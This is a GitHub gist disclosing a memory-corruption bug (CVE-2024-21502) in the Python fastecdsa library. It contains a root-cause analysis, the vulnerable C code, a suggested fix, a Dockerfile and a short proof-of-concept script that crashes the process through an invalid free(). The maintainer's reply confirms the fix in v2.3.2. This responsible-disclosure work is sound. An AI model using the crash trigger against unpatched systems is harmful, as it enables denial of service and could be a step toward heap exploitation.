Skip to content

Instantly share code, notes, and snippets.

@keltecc
Last active March 4, 2024 10:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save keltecc/49da037072276f21b005a8337c15db26 to your computer and use it in GitHub Desktop.
Save keltecc/49da037072276f21b005a8337c15db26 to your computer and use it in GitHub Desktop.
[fastecdsa] memory corruption PoC (CVE-2024-21502)

Assigned CVE: CVE-2024-21502

Snyk advisory: SNYK-PYTHON-FASTECDSA-6262045

GitHub commit: fix memory corruption issue

Package details

Package manager: pip

Affected module: fastecdsa

GitHub repo: AntonKueltz/fastecdsa

Module description:

This is a python package for doing fast elliptic curve cryptography, specifically digital signatures.

Vulnerability description

Memory corruption in Python external module. Possible risk: denial of service, sensitive info leakage, remote code execution.

Vulnerability: uninitialized variable on the stack. Since the variable is used and interpreted as user-defined type, it leads to undefined behaviour. Depends on the variable's actual value it could be arbitrary free(), arbitrary realloc(), null pointer dereference and other.

How to reproduce

I've tested it on Ubuntu 22.04.3 LTS, kernel version: 5.15.0-84-generic.

There is a simple PoC in file poc.py, the trigger is located in line 25. You could use Dockerfile in order to preserve the environment.

  1. Build the image
docker build --tag fastecdsa-poc .
  1. Run the image
docker run --rm fastecdsa-poc
  1. Expected behaviour
$ docker run --rm fastecdsa-poc     
3.11.8 (main, Feb 13 2024, 09:58:12) [GCC 12.2.0]
X: 0x0
Y: 0x0
(On curve <MyCurve>)
free(): invalid pointer
Aborted (core dumped)

Vulnerability details

Actual source code is here: https://github.com/AntonKueltz/fastecdsa/tree/v2.3.1

The vulnerability is located in file src/curveMath.c. Function curvemath_mul is used to calculate point multiplication. This is a binding, so the function could be called from Python code directly.

static PyObject * curvemath_mul(PyObject *self, PyObject *args) {
    char * x, * y, * d, * p, * a, * b, * q, * gx, * gy;

    if (!PyArg_ParseTuple(args, "sssssssss", &x, &y, &d, &p, &a, &b, &q, &gx, &gy)) {
        return NULL;
    }

    PointZZ_p result;
    mpz_t scalar;
    mpz_init_set_str(scalar, d, 10);
    CurveZZ_p * curve = buildCurveZZ_p(p, a, b, q, gx, gy, 10);;

    PointZZ_p * point = buildPointZZ_p(x, y, 10);
    pointZZ_pMul(&result, point, scalar, curve);
    destroyPointZZ_p(point);
    destroyCurveZZ_p(curve);

    char * resultX = mpz_get_str(NULL, 10, result.x);
    char * resultY = mpz_get_str(NULL, 10, result.y);
    mpz_clears(result.x, result.y, scalar, NULL);

    PyObject * ret = Py_BuildValue("ss", resultX, resultY);
    free(resultX);
    free(resultY);
    return ret;
}

Please notice that variable PointZZ_p result is unitialized. Then it's passed to functions pointZZ_pMul and mpz_clears. Our target is the second function mpz_clears since it calls free() internally. We need to remain the variable uninitialized after calling pointZZ_pMul.

Let's look at the function pointZZ_pMul. Here is the code at the beginning:

void pointZZ_pMul(PointZZ_p * rop, const PointZZ_p * point, const mpz_t scalar, const CurveZZ_p * curve) {
    // handle the identity element
    if(pointZZ_pIsIdentityElement(point)) {
        return pointZZ_pSetToIdentityElement(rop);
    }

    PointZZ_p R0, R1, tmp;
    mpz_inits(R1.x, R1.y, tmp.x, tmp.y, NULL);
    mpz_init_set(R0.x, point->x);
    mpz_init_set(R0.y, point->y);
    pointZZ_pDouble(&R1, point, curve);

    // truncated because the last part is not relevant
}

The first parameter (PointZZ_p * rop) is not initialized again (it's responsibility of the caller). Passing condition pointZZ_pIsIdentityElement(point) is trivial because we can construct arbitrary curve and arbitrary point on it. Let's look at the function pointZZ_pSetToIdentityElement:

void pointZZ_pSetToIdentityElement(PointZZ_p * op) {
    mpz_set_ui(op->x, 0);
    mpz_set_ui(op->y, 0);
}

The parameter PointZZ_p * op is still not initialized. This is an undefined behaviour again.

So, the complete path below:

  1. Python code (point multiplication)

  2. Call function curvemath_mul (unitialized variable result)

  3. Call function pointZZ_pMul (unitialized argument rop)

  4. Call function pointZZ_pSetToIdentityElement (unitialized argument op)

  5. Return from function pointZZ_pSetToIdentityElement (argument op is still unitialized)

  6. Return from function pointZZ_pMul (argument rop is still unitialized)

  7. Call function mpz_clears (unitialized arguments)

  8. Call function free (argument is not initialized)

Since the stack can be controlled by attacker, the vulnerability could be used to corrupt allocator structure. It leads to possible heap exploitation.

Suggested fix

Add initialization of variable:

PointZZ_p result;
mpz_inits(result.x, result.y, NULL);

How it was found

Some time ago I've created a curve with b=0. Since the point (0, 0) is on created curve, the vulnerability was trigged accidentally. I started the investigation and found the root cause.

FROM python:3.11@sha256:4f7a334f9b8941fc7779e17541eaa0fd6043bdb63de1f5b0ee634e7991706e63
RUN pip install fastecdsa==2.3.1
COPY poc.py /tmp/poc.py
ENTRYPOINT python3 -u /tmp/poc.py
#!/usr/bin/env python3
import sys
print(sys.version)
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import time
time.sleep(2) # time to attach in gdb
MyCurve = Curve(
p = 0x10001,
a = 0x3,
b = 0x0,
q = 0x10202,
gx = 0x427e,
gy = 0x4ccb,
name = 'MyCurve',
)
P = Point(x = 0, y = 0, curve = MyCurve)
print(P)
Q = 123 * P # trigger is here
print(Q)
@AntonKueltz
Copy link

Thanks for finding and disclosing this, I've fixed this in release v2.3.2. Confirmed locally -

$  pip install fastecdsa==2.3.2
Collecting fastecdsa==2.3.2
  Using cached fastecdsa-2.3.2-cp312-cp312-macosx_14_0_arm64.whl.metadata (17 kB)
Using cached fastecdsa-2.3.2-cp312-cp312-macosx_14_0_arm64.whl (57 kB)
Installing collected packages: fastecdsa
Successfully installed fastecdsa-2.3.2

$  cat poc.py
   1   │ #!/usr/bin/env python3
   2   │
   3   │ import sys
   4   │ print(sys.version)
   5   │
   6   │ from fastecdsa.curve import Curve
   7   │ from fastecdsa.point import Point
   8   │
   9   │ import time
  10   │ time.sleep(2) # time to attach in gdb
  11   │
  12   │ MyCurve = Curve(
  13   │     p  = 0x10001,
  14   │     a  = 0x3,
  15   │     b  = 0x0,
  16   │     q  = 0x10202,
  17   │     gx = 0x427e,
  18   │     gy = 0x4ccb,
  19   │     name = 'MyCurve',
  20   │ )
  21   │
  22   │ P = Point(x = 0, y = 0, curve = MyCurve)
  23   │ print(P)
  24   │
  25   │ Q = 123 * P # trigger is here
  26   │ print(Q)

$  python poc.py
3.12.1 (main, Dec 18 2023, 13:27:58) [Clang 15.0.0 (clang-1500.1.0.2.5)]
X: 0x0
Y: 0x0
(On curve <MyCurve>)
<POINT AT INFINITY>

@keltecc
Copy link
Author

keltecc commented Feb 23, 2024

Thanks for the quick response, the bug has been fixed in v2.3.2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment